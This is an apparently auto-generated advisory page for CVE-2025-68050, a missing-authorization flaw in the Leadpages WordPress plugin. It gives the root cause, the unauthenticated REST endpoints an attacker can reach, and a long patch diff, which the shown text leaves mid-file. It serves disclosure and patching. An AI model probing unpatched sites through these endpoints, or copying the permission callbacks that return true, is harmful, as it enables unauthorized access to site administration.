Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-68050: Leadpages <= 1.1.3 – Missing Authorization (leadpages)

Plugin leadpages
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.1.3
Patched Version 1.1.4
Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-68050:
The Leadpages WordPress plugin version 1.1.3 and earlier contains a Missing Authorization vulnerability (CWE-862). This flaw allows unauthenticated attackers to trigger OAuth2 authorization flows and access administrative REST API endpoints. The CVSS score of 5.3 reflects a medium severity issue that enables unauthorized actions.

Root Cause:
The vulnerability stems from missing capability checks on multiple REST API endpoint permission callbacks. In the file `leadpages/includes/rest/oauth2/Controller.php`, the `authorize_oauth2` endpoint’s `permission_callback` was set to `signin_callback_permissions_check()` which returns `true` without any authentication verification (line 120). Similarly, the `get_oauth2_status` and `sign_out_callback` endpoints had permission callbacks returning `true` (lines 209 and 236). In `leadpages/includes/rest/pages/Controller.php`, the `get_items_permissions_check()` method also returned `true` without authorization checks (line 104). These implementations failed to verify if the requesting user possessed the `manage_options` capability required for administrative plugin operations.

Exploitation:
Attackers can send HTTP GET requests to specific WordPress REST API endpoints without authentication. The primary attack vector targets `/wp-json/leadpages/v1/oauth2/authorize` to initiate OAuth2 authorization flows. Additional endpoints include `/wp-json/leadpages/v1/oauth2/status` and `/wp-json/leadpages/v1/oauth2/signout`. For page management functions, attackers can access `/wp-json/leadpages/v1/pages` to retrieve connected landing page data. No special parameters or payloads are required beyond standard REST API requests to these endpoints.

Patch Analysis:
The patch in version 1.1.4 introduces proper capability checks across all vulnerable endpoints. The `authorize_oauth2` endpoint’s permission callback was changed from `signin_callback_permissions_check()` to `authorize_permissions_check()` (line 65), which now returns `current_user_can(‘manage_options’)`. The `get_oauth2_status_permissions_check()` and `sign_out_callback_permissions_check()` methods were updated to return `current_user_can(‘manage_options’)` instead of `true` (lines 222 and 249). In the pages controller, `get_items_permissions_check()` now returns `current_user_can(‘manage_options’)` (line 104), and `sync_items_permissions_check()` includes the same capability verification (line 282). These changes ensure only users with administrative privileges can access plugin functionality.

Impact:
Successful exploitation allows unauthenticated attackers to initiate OAuth2 authorization flows, potentially compromising the plugin’s authentication mechanism. Attackers can retrieve the OAuth2 connection status and trigger sign-out operations, disrupting legitimate administrative sessions. Access to the pages endpoint enables enumeration of connected landing pages, exposing potentially sensitive marketing or promotional content. While the vulnerability does not directly enable remote code execution or privilege escalation, it violates authorization boundaries and can facilitate reconnaissance for further attacks.

Differential between vulnerable and patched code

Code Diff
--- a/leadpages/includes/rest/oauth2/Controller.php
+++ b/leadpages/includes/rest/oauth2/Controller.php
@@ -65,7 +65,7 @@
                 [
                     'methods'             => 'GET',
                     'callback'            => [ $this, 'authorize_oauth2' ],
-                    'permission_callback' => [ $this, 'signin_callback_permissions_check' ],
+                    'permission_callback' => [ $this, 'authorize_permissions_check' ],
                 ],
             ]
         );
@@ -120,7 +120,12 @@
     }

     /**
-     * Check if the user has permission to access the sign in callback
+     * Check if the user has permission to access the sign in callback.
+     *
+     * This intentionally allows unauthenticated access because it serves as the
+     * OAuth2 redirect_uri — the identity provider redirects the browser here after
+     * login, before a WordPress session exists.
+     *
      * @return bool
      */
     public function signin_callback_permissions_check() {
@@ -128,6 +133,14 @@
     }

     /**
+     * Check if the user has permission to start the OAuth2 authorization flow
+     * @return bool
+     */
+    public function authorize_permissions_check() {
+        return current_user_can('manage_options');
+    }
+
+    /**
      * Handle the authorization of the OAuth2 sign in flow. This endpoint will create a
      * code_verifier and code_challenge, and return the a URL to direct a user to for login.
      */
@@ -209,7 +222,7 @@
      * @return bool
      */
     public function get_oauth2_status_permissions_check() {
-        return true;
+        return current_user_can('manage_options');
     }

     /**
@@ -236,7 +249,7 @@
      * Check if the user has permission to access to the signout callback
      */
     public function sign_out_callback_permissions_check() {
-        return true;
+        return current_user_can('manage_options');
     }

     /**
--- a/leadpages/includes/rest/pages/Controller.php
+++ b/leadpages/includes/rest/pages/Controller.php
@@ -19,8 +19,8 @@
 /**
  * WordPress controller class for the leadpages/v1/pages collection.
  *
- * Requests can only be made by authenticated WordPress users by default. There is no additional
- * permissions checking for user roles.
+ * Requests require authenticated WordPress users with the manage_options capability.
+ * This is enforced via permission_callback in register_routes.
  *
  * @see Schema for the request schema
  */
@@ -104,8 +104,7 @@
      * @return WP_Error|bool
      */
     public function get_items_permissions_check( $request ) {
-        // get item and update item are calling this method so they all have the same lenient permissions
-        return true;
+        return current_user_can('manage_options');
     }

     /**
@@ -283,6 +282,10 @@
      * @return WP_Error|bool
      */
     public function sync_items_permissions_check() {
+        if (! current_user_can('manage_options')) {
+            return false;
+        }
+
         $logged_in = $this->is_user_logged_into_plugin();
         if (! $logged_in) {
             return new WP_Error('no_token', 'User is not logged in?', [ 'status' => 401 ]);
--- a/leadpages/leadpages-official.php
+++ b/leadpages/leadpages-official.php
@@ -4,7 +4,7 @@
  * Plugin Name:       Leadpages
  * Plugin URI:        https://leadpages.com/integrations/wordpress
  * Description:       Easily publish your Leadpages landing pages to your WordPress site. Promote your lead magnets, events, promotions, and more.
- * Version:           1.1.3
+ * Version:           1.1.4
  * Author:            Leadpages
  * Author URI:        https://leadpages.com
  * Requires at least: 6.0
@@ -29,7 +29,7 @@
 define('LEADPAGES_NS', 'leadpages');
 define('LEADPAGES_DB_PREFIX', 'lp'); // The table name prefix wp_{prefix}
 define('LEADPAGES_OPT_PREFIX', 'lp'); // The option name prefix in wp_options
-define('LEADPAGES_VERSION', '1.1.3');
+define('LEADPAGES_VERSION', '1.1.4');

 require_once LEADPAGES_PATH . '/vendor/autoload.php';

--- a/leadpages/trunk/build/landingpages.asset.php
+++ b/leadpages/trunk/build/landingpages.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-components', 'wp-element', 'wp-escape-html', 'wp-primitives', 'wp-url'), 'version' => '37c8bea1cca42cee564d');
--- a/leadpages/trunk/build/lp_settings.asset.php
+++ b/leadpages/trunk/build/lp_settings.asset.php
@@ -0,0 +1 @@
+<?php return array('dependencies' => array('react', 'wp-api-fetch', 'wp-components', 'wp-element'), 'version' => '424cc99b673000e62c4b');
--- a/leadpages/trunk/includes/Activator.php
+++ b/leadpages/trunk/includes/Activator.php
@@ -0,0 +1,90 @@
+<?php
+
+namespace Leadpages;
+
+defined('ABSPATH') || die('No script kiddies please!'); // Avoid direct file request
+
+use LeadpagesprovidersUtils;
+use LeadpagesmodelsDB;
+use LeadpagesmodelsOptions;
+
+/**
+ * This class handles plugin operations that need to happen on plugin activation/deactivation
+ * or when the plugin is updated to a new version. It is only used in the plugins Core class.
+ *
+ * Note: we are not doing anything on plugin activation. If this changes in the future we should
+ * create a new method in this class and use the register_activation_hook() function to register it
+ * in the Core class.
+ *
+ */
+class Activator {
+
+    use Utils;
+
+    /** @var DB $db */
+    private $db;
+
+    public function __construct() {
+        $this->db = new DB();
+    }
+
+    /**
+     * This method gets fired when the user deactivates the plugin.
+     *
+     * On deactivation, we delete the access and refresh tokens from the options table but leave the
+     * rest of the users data intact, should they wish to reactivate later to resume the work they had done.
+     */
+    public function deactivate() {
+        Options::delete(Options::$refresh_token);
+        Options::delete(Options::$access_token);
+    }
+
+    /**
+     * Ensure that the database schema this plugin is dependent on is up to date for the current
+     * version of the plugin, whatever that might be.
+     *
+     * An admin notice will be shown if the database update failed. This would be horrendous if
+     * it occurred but there is little we can do and need to bubble it up to the user.
+     */
+    public function update_db_check() {
+        $lpdb = $this->db;
+        $current_db_version = Options::get(Options::$db_version);
+
+        try {
+            // if the database version is not set we need to install all tables
+            // otherwise migrate the database to the latest version
+            if (! $current_db_version) {
+                $this->debug('Installing leadpages database tables');
+                $lpdb->install();
+            } else {
+                $this->debug("Migrating leadpages database tables from $current_db_version to " . LEADPAGES_VERSION);
+                $lpdb->migrate($current_db_version);
+            }
+        } catch (Exception $e) {
+            add_action(
+                'admin_notices',
+                function () {
+                    echo wp_kses(
+                        "<div class='notice notice-error is-dismissible'><p>
+                            Leadpages encountered an error while installing/updating its database tables.
+                            You can try refreshing the page or
+                            <a href='https://support.leadpages.com/hc/en-us/articles/205046170'>
+                                contact support
+                            </a>
+                            for assistance.
+                        </p></div>",
+                        [
+                            'div' => [
+                                'class' => [],
+                            ],
+                            'p'   => [],
+                            'a'   => [
+                                'href' => [],
+                            ],
+                        ]
+                    );
+                }
+            );
+        }
+    }
+}
--- a/leadpages/trunk/includes/Assets.php
+++ b/leadpages/trunk/includes/Assets.php
@@ -0,0 +1,253 @@
+<?php
+
+namespace Leadpages;
+
+defined('ABSPATH') || die('No script kiddies please!'); // Avoid direct file request
+
+use LeadpagesprovidersconfigConfig;
+use LeadpagesprovidersUtils;
+
+// All of the names of the assets the plugin uses.
+// Values must match those configured in webpack
+const ASSET_LANDINGPAGES = 'landingpages';
+const ASSET_SETTINGS = 'lp_settings';
+// Names of the pages the plugin uses
+const SLUG_LEADPAGES = 'leadpages';
+const SLUG_SETTINGS = 'lp_settings';
+const SLUG_OAUTH_COMPLETE = 'lp_login_complete';
+
+/**
+ * Base asset management class for frontend scripts and styles.
+ */
+class Assets {
+
+    use Utils;
+
+    /** @var Config */
+    public $config;
+
+    /**
+     * Path to the build and assets directories
+     */
+    public $build_path = 'build/';
+    public $assets_path = 'public/';
+
+    /**
+     * Array of arrays containing file paths to each type of asset (js, css, php)
+     * @var array
+     */
+    private $file_paths;
+
+    public function __construct() {
+        $this->config = Config::get_instance();
+
+        $assets = $this->get_asset_names();
+        foreach ($assets as $asset) {
+            $base_path = $this->build_path . $asset;
+            $this->file_paths[ $asset ] = [
+                'js'   => $base_path . '.js',
+                'css'  => $base_path . '.css',
+                'php'  => $base_path . '.asset.php',
+                'name' => LEADPAGES_SLUG . '_' . $asset,
+            ];
+        }
+    }
+
+    /**
+     * Return all the names of all the assets that the plugin uses
+     * @return array
+     */
+    private function get_asset_names() {
+        return [
+            ASSET_LANDINGPAGES,
+            ASSET_SETTINGS,
+            // add more assets as needed...
+        ];
+    }
+
+    /**
+     * Wrapper around include construct for testing
+     *
+     * @param string $path
+     * @return mixed
+     */
+    public function get_asset_file( $path ) {
+        return include LEADPAGES_PATH . '/' . $path;
+    }
+
+    /**
+     * Enqueue scripts and styles for admin pages.
+     *
+     * @param string $hook_suffix The current admin page
+     */
+    public function enqueue_admin_scripts( $hook_suffix ) {
+        $this->enqueue_landing_pages_page($hook_suffix);
+        $this->enqueue_settings_page($hook_suffix);
+        $this->enqueue_leadpages_icons();
+        // add more scripts as needed...
+    }
+
+    /**
+     * Render the Landing Pages page (also the admin menu page)
+     *
+     * This method adds a menu page for the Leadpages plugin in the WordPress admin dashboard.
+     * The page is simply a div that a React component will attach to from the script enqueue'd
+     * in the `enqueue_admin_scripts` method.
+     */
+    public function render_admin_menu_page() {
+        add_menu_page(
+            'Leadpages', // Page title
+            'Leadpages', // Menu title
+            'manage_options', // Capability
+            SLUG_LEADPAGES,
+            function () {
+                echo '
+                <div id="leadpages-page-root"></div>
+                ';
+            },
+            null, // The icon will be added through CSS
+            80 // Positions menu under the "Settings" sidebar
+        );
+
+        // Top-level menu item (Leadpages) differ from the first sub-level item (Landing Pages)
+        // NOTE: This submenu is not visible in the UI navigation menu until there's been more
+        // than one submenu added (ex. Settings). This is a WordPress quirk. Adding this in now
+        // though for future development.
+        add_submenu_page(
+            SLUG_LEADPAGES, // Parent slug
+            'Landing Pages', // Page title
+            'Landing Pages', // Menu title
+            'manage_options', // Capability
+            SLUG_LEADPAGES,
+            function () {
+                echo '
+                <div id="leadpages-page-root"></div>
+                ';
+            }
+        );
+    }
+
+    public function render_settings_page() {
+        add_submenu_page(
+            SLUG_LEADPAGES, // Parent slug
+            'Settings', // Page title
+            'Settings', // Menu title
+            'manage_options', // Capability
+            SLUG_SETTINGS, // Menu slug
+            function () {
+                echo '
+                <div id="settings-page-root"></div>
+                ';
+            }
+        );
+    }
+
+    /**
+     * Render the OAuth2 completion page without a menu item. This page should only be seen within
+     * the popup window that the Leadpages OAuth login is displayed in.
+     *
+     * @see https://stackoverflow.com/questions/3902760/how-do-you-add-a-wordpress-admin-page-without-adding-it-to-the-menu/47577455#47577455
+     */
+    public function render_oauth_complete_page() {
+        add_submenu_page(
+            '', // By setting the parent slug to an empty string, it should not be visible in the menu
+            'Login Complete',
+            'Login Complete',
+            'manage_options',
+            SLUG_OAUTH_COMPLETE,
+            function () {
+                include_once LEADPAGES_PATH . '/includes/other/login_complete_page.php';
+            }
+        );
+    }
+
+    /**
+     * Enqueue scripts and styles for the Landing Pages page.
+     * This method loads the scripts and styles only on the Leadpages Landing Pages page.
+     *
+     * @param string $hook The current admin page
+     */
+    private function enqueue_landing_pages_page( $hook ) {
+        // Load only on ?page=leadpages (Leadpages page)
+        if ('toplevel_page_' . SLUG_LEADPAGES !== $hook) {
+            return;
+        }
+
+        // Automatically load imported dependencies and assets version.
+        $landing_pages_asset_file = $this->get_asset_file($this->file_paths[ ASSET_LANDINGPAGES ]['php']);
+
+        // Load JavaScript
+        wp_enqueue_script(
+            $this->file_paths[ ASSET_LANDINGPAGES ]['name'],
+            plugins_url($this->file_paths[ ASSET_LANDINGPAGES ]['js'], LEADPAGES_FILE),
+            $landing_pages_asset_file['dependencies'],
+            $landing_pages_asset_file['version'],
+            true
+        );
+
+        // leverage this to inject additional data into the script
+        // these are used to conditionally link out to analytics based on environment configuration
+        wp_localize_script(
+            $this->file_paths[ ASSET_LANDINGPAGES ]['name'],
+            LEADPAGES_NS . 'Data',
+            [
+                'homeUrl'      => home_url(),
+                'leadpagesUrl' => $this->config->get('LEADPAGES_URL'),
+                'builderUrl'   => $this->config->get('BUILDER_URL'),
+            ]
+        );
+
+        // Load CSS
+        wp_enqueue_style(
+            $this->file_paths[ ASSET_LANDINGPAGES ]['name'],
+            plugins_url($this->file_paths[ ASSET_LANDINGPAGES ]['css'], LEADPAGES_FILE),
+            [ 'wp-components' ],
+            $landing_pages_asset_file['version']
+        );
+    }
+
+    /**
+     * Enqueue scripts and styles for the Settings page.
+     * This method loads the scripts and styles only on the Leadpages Settings page.
+     *
+     * @param string $hook The current admin page
+     */
+    private function enqueue_settings_page( $hook ) {
+        // Load only on ?page=settings (Settings page)
+        if ('leadpages_page_' . SLUG_SETTINGS !== $hook) {
+            return;
+        }
+
+        // Automatically load imported dependencies and assets version.
+        $settings_asset_file = $this->get_asset_file($this->file_paths[ ASSET_SETTINGS ]['php']);
+
+        // Load JavaScript
+        wp_enqueue_script(
+            $this->file_paths[ ASSET_SETTINGS ]['name'],
+            plugins_url($this->file_paths[ ASSET_SETTINGS ]['js'], LEADPAGES_FILE),
+            $settings_asset_file['dependencies'],
+            $settings_asset_file['version'],
+            true
+        );
+
+        // Load CSS
+        wp_enqueue_style(
+            $this->file_paths[ ASSET_SETTINGS ]['name'],
+            plugins_url($this->file_paths[ ASSET_SETTINGS ]['css'], LEADPAGES_FILE),
+            [ 'wp-components' ],
+            $settings_asset_file['version']
+        );
+    }
+
+    /*
+     * Enqueue the Leadpages icons. The LP icon in the top level menu item is dependent on this.
+     */
+    private function enqueue_leadpages_icons() {
+        wp_enqueue_style(
+            'leadpages-icons',
+            plugins_url('public/lp-icons.css', LEADPAGES_FILE),
+            [],
+            LEADPAGES_VERSION
+        );
+    }
+}
--- a/leadpages/trunk/includes/Cache.php
+++ b/leadpages/trunk/includes/Cache.php
@@ -0,0 +1,70 @@
+<?php
+
+namespace Leadpages;
+
+defined('ABSPATH') || die('No script kiddies please!'); // Avoid direct file request
+
+
+/**
+ * A class for managing a cache for Leadpages asset serving backed by the WP Transients API.
+ *
+ * WordPress Transients API: https://developer.wordpress.org/apis/transients/
+ *   Transient expiration times are a maximum time. There is no minimum age. Transients
+ *   might disappear one second after you set them, or 24 hours, but they will never be
+ *   around after the expiration time.
+ *
+ * Pages are cached by the slug that they are published under in WordPress so that they
+ * can be quickly referenced when serving. The entire response when fetching the page
+ * is cached, not just the page HTML content.
+ */
+class Cache {
+    // The maximum amount of time a value should be cached for
+    private static $max_time = 60 * 60 * 24; // 1 day
+
+    // The prefix to cache pages with
+    private static $page_key_prefix = LEADPAGES_OPT_PREFIX . '_page_';
+
+    /*
+     * Build the cache key given the slug of the page.
+     *
+     * @param string $slug
+     * @return string
+     */
+    public static function page_key( $slug ) {
+        return self::$page_key_prefix . $slug;
+    }
+
+    /*
+     * Set a value in the cache.
+     *
+     * Example:
+     *   Cache::set(Cache::page_key($slug), $page)
+     *
+     * @param string $name
+     * @param mixed $value
+     * @return boolean
+     */
+    public static function set( $name, $value ) {
+        return set_transient($name, $value, self::$max_time);
+    }
+
+    /*
+     * Retrieve a value from the cache.
+     *
+     * @param string $name
+     * @return mixed
+     */
+    public static function get( $name ) {
+        return get_transient($name);
+    }
+
+    /*
+     * Remove a value from the cache.
+     *
+     * @param string $name
+     * @return boolean
+     */
+    public static function delete( $name ) {
+        return delete_transient($name);
+    }
+}
--- a/leadpages/trunk/includes/Core.php
+++ b/leadpages/trunk/includes/Core.php
@@ -0,0 +1,172 @@
+<?php
+
+namespace Leadpages;
+
+use LeadpagesprovidersUtils;
+use LeadpagesrestService;
+use LeadpagesmodelsPage;
+use LeadpagesprovidersconfigConfig;
+use LeadpagesmodelsOptions;
+
+defined('ABSPATH') || die('No script kiddies please!'); // Avoid direct file request
+
+/**
+ * This is the core class of the plugin responsible for initializing all other dependencies
+ * and running the plugin. All of the hooks the plugin depends on are added in this class.
+ */
+class Core {
+
+    use Utils;
+
+    /** @var Core $me the singleton instantiation of the plugin */
+    private static $me;
+
+    /** @var Activator $activator */
+    private $activator;
+
+    /** @var Assets $assets */
+    private $assets;
+
+    /** @var Service $service */
+    private $service;
+
+    /** @var Proxy $proxy */
+    private $proxy;
+
+    /** @var Config */
+    private $config;
+
+    /**
+     * Instantiate all of the class dependencies.
+     *
+     * The constructor is protected because a factory method should only create
+     * a Core object.
+     */
+    protected function __construct() {
+        $this->config    = Config::get_instance();
+
+        $this->activator = new Activator();
+        $this->assets    = new Assets();
+        $this->service   = new Service();
+        $this->proxy     = new Proxy();
+    }
+
+    /**
+     * Get singleton core class.
+     *
+     * @return Core
+     */
+    public static function get_instance() {
+        return ! isset(self::$me) ? ( self::$me = new Core() ) : self::$me;
+    }
+
+    /**
+     * Register all of the hooks for the plugin.
+     */
+    public function run() {
+        add_action('init', [ $this->get_proxy(), 'serve_landing_page' ], 1);
+        add_action('init', [ $this, 'init' ]);
+        add_action('rest_api_init', [ $this->get_service(), 'rest_api_init' ]);
+
+        add_action('plugins_loaded', [ $this->get_activator(), 'update_db_check' ]);
+        register_deactivation_hook(LEADPAGES_FILE, [ $this->get_activator(), 'deactivate' ]);
+
+        add_filter('wp_insert_post_data', [ $this, 'check_and_modify_post_slug' ], 1, 1);
+        $this->setup_admin_notices();
+    }
+
+    /**
+     * This method is fired on the WordPress init hook. It sets up the admin
+     * menu items and enqueues the scripts we need for our admin pages to work.
+     */
+    public function init() {
+        add_action('admin_menu', [ $this->get_assets(), 'render_admin_menu_page' ]);
+        add_action('admin_menu', [ $this->get_assets(), 'render_oauth_complete_page' ]);
+        add_action('admin_enqueue_scripts', [ $this->get_assets(), 'enqueue_admin_scripts' ]);
+
+        if ($this->is_user_logged_into_plugin()) {
+            add_action('admin_menu', [ $this->get_assets(), 'render_settings_page' ]);
+        }
+    }
+
+    /**
+     * Alert the user if:
+     * - Permalinks are not enabled (i.e. "Plain")
+     */
+    private function setup_admin_notices() {
+        if ('' === Options::get(Options::$permalink_structure)) {
+            add_action('admin_notices', [ $this, 'turn_on_permalinks' ]);
+        }
+    }
+
+
+    /**
+     * Show an admin notice informing the user that they need to enable permalinks
+     */
+    public function turn_on_permalinks() {
+            echo wp_kses(
+                "<div class='notice notice-error is-dismissible'>
+                <p> Leadpages plugin needs
+                    <a href='options-permalink.php'>permalinks</a> enabled!
+                    Permalink structure can not be 'Plain'.
+                    </p></div>",
+                [
+                    'div' => [
+                        'class' => [],
+                    ],
+                    'p'   => [],
+                    'a'   => [
+                        'href' => [],
+                    ],
+                ]
+            );
+    }
+
+    /**
+     * Check if Leadpages landing page is already connected with the same slug as the
+     * name of the WordPress post. This would cause permalink conflicts when serving pages if not prevented.
+     * Update the post name to a unique value across the posts and Leadpages tables.
+     *
+     * @param array $data an array of slashed, sanitized, and processed wp post data
+     * @return array
+     */
+    public function check_and_modify_post_slug( $data ) {
+        $slug = $data['post_name'];
+        $conflicts = Page::get_by_slug($slug);
+
+        // if a conflict is found, modify the slug by adding a numbered suffix and repeat until there is no conflict
+        if ($conflicts) {
+            $suffix = 2;
+            do {
+                $new_slug = $slug . '-' . $suffix;
+                ++$suffix;
+                $this->debug("Conflict with $slug, changing post name to $new_slug");
+                $conflicts = Page::get_by_slug($new_slug);
+            } while ($conflicts);
+
+            $data['post_name'] = $new_slug;
+        }
+
+        return $data;
+    }
+
+    /** @return Activator  */
+    public function get_activator() {
+        return $this->activator;
+    }
+
+    /** @return Assets  */
+    public function get_assets() {
+        return $this->assets;
+    }
+
+    /** @return Service  */
+    public function get_service() {
+        return $this->service;
+    }
+
+    /** @return Proxy  */
+    public function get_proxy() {
+        return $this->proxy;
+    }
+}
--- a/leadpages/trunk/includes/Proxy.php
+++ b/leadpages/trunk/includes/Proxy.php
@@ -0,0 +1,267 @@
+<?php
+
+namespace Leadpages;
+
+defined('ABSPATH') || die('No script kiddies please!'); // Avoid direct file request
+
+use LeadpagesprovidersUtils;
+use LeadpagesprovidershttpClient;
+use LeadpagesprovidershttpexceptionsServerException;
+use LeadpagesprovidershttpexceptionsNotFoundException;
+use LeadpagesmodelsPage;
+use LeadpagesmodelsOptions;
+
+/**
+ * A class for serving Leadpages assets within the WordPress environment.
+ */
+class Proxy {
+
+    use Utils;
+
+    /** @var Client */
+    private $client;
+
+    public function __construct() {
+        $this->client = new Client();
+    }
+
+    /**
+     * Proxy requests to Leadpages landing pages when a page has been connected
+     * for the requested path. Ignores any request methods that are not GET and ignores
+     * any paths not associated with a Leadpages landing page. If the page being served
+     * is a split test, the cookie identifying the split test variation is set.
+     *
+     * "path" and "slug" are used synonymously here and are the same as a WP "permalink"
+     *
+     * Renders the page html and exits the current process so no other code can execute.
+     *
+     * @return void
+     */
+    public function serve_landing_page() {
+        $request_method = sanitize_key($_SERVER['REQUEST_METHOD']);
+        if ('get' !== $request_method) {
+            return;
+        }
+
+        $start = microtime(true);
+
+        $current_url = $this->get_current_url();
+        $slug = sanitize_title($this->parse_request($current_url));
+
+        $cached_value = Cache::get(Cache::page_key($slug));
+        if ($cached_value) {
+            $this->debug('Serving page from cache');
+            $this->render_html($cached_value);
+        } else {
+            $page = Page::get_by_slug($slug);
+            // do not serve unpublished, unconnected or deleted pages, or pages that are variations of a splittest
+            if (! $page || ! $page->current_edition || ! $page->connected || $page->deleted_at || $page->split_test) {
+                $this->debug("Ignoring request to $current_url");
+                return;
+            }
+
+            $target_url = esc_url_raw($page->published_url, [ 'http', 'https' ]);
+            $this->debug("Proxying $current_url to $target_url");
+            $response = $this->fetch_page_html($target_url);
+            if (! $response) {
+                $this->debug('Something went wrong, aborting proxy');
+                return;
+            }
+
+            $this->render_html($response);
+
+            // Cache the page only if it is not a split test. Split tests need to
+            // be fetched each time so that our system can generate the HTML based
+            // on the split test cookie.
+            if ('LeadpageSplitTestV2' !== $page->kind) {
+                Cache::set(Cache::page_key($slug), $response);
+            }
+        }
+
+        $end = microtime(true);
+        $time_taken = ( $end - $start ) * 1000;
+        $this->debug("Successful served page in $time_taken ms");
+
+        $this->lp_exit(0);
+    }
+
+    /**
+     * Strip the base url and params out of the request url and differentiate the
+     * result against the users specified permalink structure. The result will be
+     * the slug we can expect a landing page to be published under.
+     *
+     * @param string $url
+     * @return string
+     */
+    private function parse_request( $url ) {
+        $path_and_params = substr($url, strlen(home_url()));
+        $path = explode('?', $path_and_params);
+        $tokens = explode('/', $path[0]);
+
+        $permalink_structure = $this->clean_permalink_for_leadpage();
+        $tokens = array_diff($tokens, $permalink_structure);
+
+        foreach ($tokens as $index => $token) {
+            if (empty($token)) {
+                unset($tokens[ $index ]);
+            } else {
+                $tokens[ $index ] = sanitize_title($token);
+            }
+        }
+        $tokens = array_values($tokens);
+        $slug = implode('/', $tokens);
+
+        return $slug;
+    }
+
+
+    /**
+     * Get the WordPress permalink structure with any %parameters% removed
+     *
+     * @return string[]
+     */
+    private function clean_permalink_for_leadpage() {
+        $permalink_structure = explode('/', Options::get(Options::$permalink_structure));
+        foreach ($permalink_structure as $key => $value) {
+            if (empty($value) || strpos($value, '%') !== false) {
+                unset($permalink_structure[ $key ]);
+            }
+        }
+        return $permalink_structure;
+    }
+
+    /**
+     * Get the page content for a provided url. Leadpages "variation" cookies will automatically be forwarded
+     * with the request.
+     *
+     * @param string $url
+     * @param bool $retry whether or not to retry the request on server errors
+     * @return WP_HTTP_Response|null response object or null if the 500 and 400 errors (other than 404)
+     */
+    private function fetch_page_html( $url, $retry = true ) {
+        $url = esc_url_raw($url);
+
+        $options = [ 'timeout' => 10 ];
+
+        // Transfer potential split test cookies from incoming request to proxied request.
+        // Only process the "variation" cookie if it exists.
+        if (isset($_COOKIE['variation'])) {
+            $variation_cookie = $_COOKIE['variation'];
+            $cookie = new WP_Http_Cookie('variation');
+            $cookie->name = 'variation';
+            $cookie->value = $variation_cookie;
+            $options['cookies'] = [ $cookie ];
+        }
+
+        try {
+            $response = $this->client->get($url, $options);
+        } catch (NotFoundException $e) {
+            $response = $e->response;
+        } catch (ServerException $e) {
+            $status_code = wp_remote_retrieve_response_code($e->response);
+            if ($status_code >= 500 && $retry) {
+                $response = $this->fetch_page_html($url, false);
+            } else {
+                $response = null;
+            }
+        } catch (Exception $e) {
+            $response = null;
+        }
+
+        return $response;
+    }
+
+    /**
+     * Render HTML from an HTTP response object to the page with the same status
+     * code and variation cookie (if set) as the provided response.
+     *
+     * @param WP_HTTP_Response $response
+     */
+    public function render_html( $response ) {
+        if (ob_get_length() > 0) {
+            ob_clean();
+        }
+
+        $html = $response['body'];
+        $status = wp_remote_retrieve_response_code($response);
+        $split_test_cookie = wp_remote_retrieve_cookie($response, 'variation');
+
+        status_header($status);
+        if ($split_test_cookie) {
+            setcookie(
+                $split_test_cookie->name,
+                $split_test_cookie->value,
+                $split_test_cookie->expires ?? 0
+            );
+        }
+
+        ob_start([ get_called_class(), 'preprocess_html' ]);
+        // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
+        echo $html;
+        ob_end_flush();
+    }
+
+    /**
+     * Wrap the exit construct for testing purposes
+     */
+    public function lp_exit() {
+        exit(0);
+    }
+
+    private static function get_current_url() {
+        return esc_url_raw(( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
+    }
+
+    /**
+     * Process HTML content for output buffering.
+     *
+     * @param string $content html
+     * @return string
+     */
+    public static function preprocess_html( $content ) {
+        $html = self::modify_url_tag($content);
+        $html = self::modify_serving_tags($html);
+        return $html;
+    }
+
+    /**
+     * Output buffering callback to add a "leadpages-serving-tags" meta tag for analytics. This
+     * helps us differentiate WordPress traffic in our system.
+     *
+     * @param string $content html
+     * @return string
+     */
+    public static function modify_serving_tags( $content ) {
+        $search = '</head>';
+        $replace = '<meta name="leadpages-serving-tags" content="wordpress-official"></head>';
+        return str_replace($search, $replace, $content);
+    }
+
+    /**
+     * Output buffering callback for "og:url" meta tag. Replace the tag content with
+     * the url of the WordPress page.
+     *
+     * Open Graph meta tags are snippets of code that control how URLs are displayed when shared
+     * on social media. A link to this page shared on social media should point to the users WP
+     * site and not the page within Leadpages.
+     *
+     * @param string $content html
+     * @return string
+     */
+    public static function modify_url_tag( $content ) {
+        global $wp;
+        if (empty($wp)) {
+            // we can't build the correct WP url in this case, so return the original page
+            return $content;
+        }
+
+        $url = self::get_current_url();
+        $regex = '/(<meta property="og:url" content=")[^"]+(">)/';
+        $html = preg_replace($regex, '${1}' . $url . '${2}', $content);
+        if (null === $html) {
+            // An error occured so we return the original content
+            return $content;
+        }
+        return $html;
+    }
+}
--- a/leadpages/trunk/includes/models/DB.php
+++ b/leadpages/trunk/includes/models/DB.php
@@ -0,0 +1,108 @@
+<?php
+
+namespace Leadpagesmodels;
+
+defined('ABSPATH') || die('No script kiddies please!');
+
+use LeadpagesprovidersUtils;
+use LeadpagesmodelsPage;
+use LeadpagesmodelsOptions;
+
+/**
+ * A class responsible for managing the database schema of the plugin.
+ */
+class DB {
+
+    use Utils;
+
+    /**
+     * A list of all of the database versions that the plugin may need to migrate over
+     * to reach the current version. Database versions are equivalent to plugin versions
+     * but not all plugin versions will have a corresponding database version in this list.
+     * Only when a change to the database schema is needed will the version be recorded here.
+     */
+    public static $db_versions = [
+        '1.0.0',
+        // versions must be ordered from oldest to newest - top to bottom
+    ];
+
+    /**
+     * On a fresh activation of our plugin.
+     *
+     * Create all database tables by migrating over all
+     * of the database versions to the current version.
+     */
+    public function install() {
+        foreach (self::$db_versions as $version) {
+            $this->call_migration($version);
+            Options::set(Options::$db_version, $version);
+        }
+    }
+
+    /**
+     * On a plugin update.
+     *
+     * Migrate the database to the latest version by migrating over all of the database
+     * versions from the previous version to the current version. If the previous version
+     * is the last version no operation will occur.
+     *
+     * @param string $current_db_version
+     * @returns void
+     * @throws Exception
+     */
+    public function migrate( $current_db_version ) {
+        // Get the index of the current version in our list of all versions
+        $current_index = array_search($current_db_version, self::$db_versions, true);
+        $last_index = count(self::$db_versions) - 1;
+
+        if ($current_index === $last_index) {
+            $this->debug('Already at the latest version. Nothing to migrate.');
+            return;
+        }
+
+        // If the previous version was found in the array, start the migration from there
+        if (false !== $current_index) {
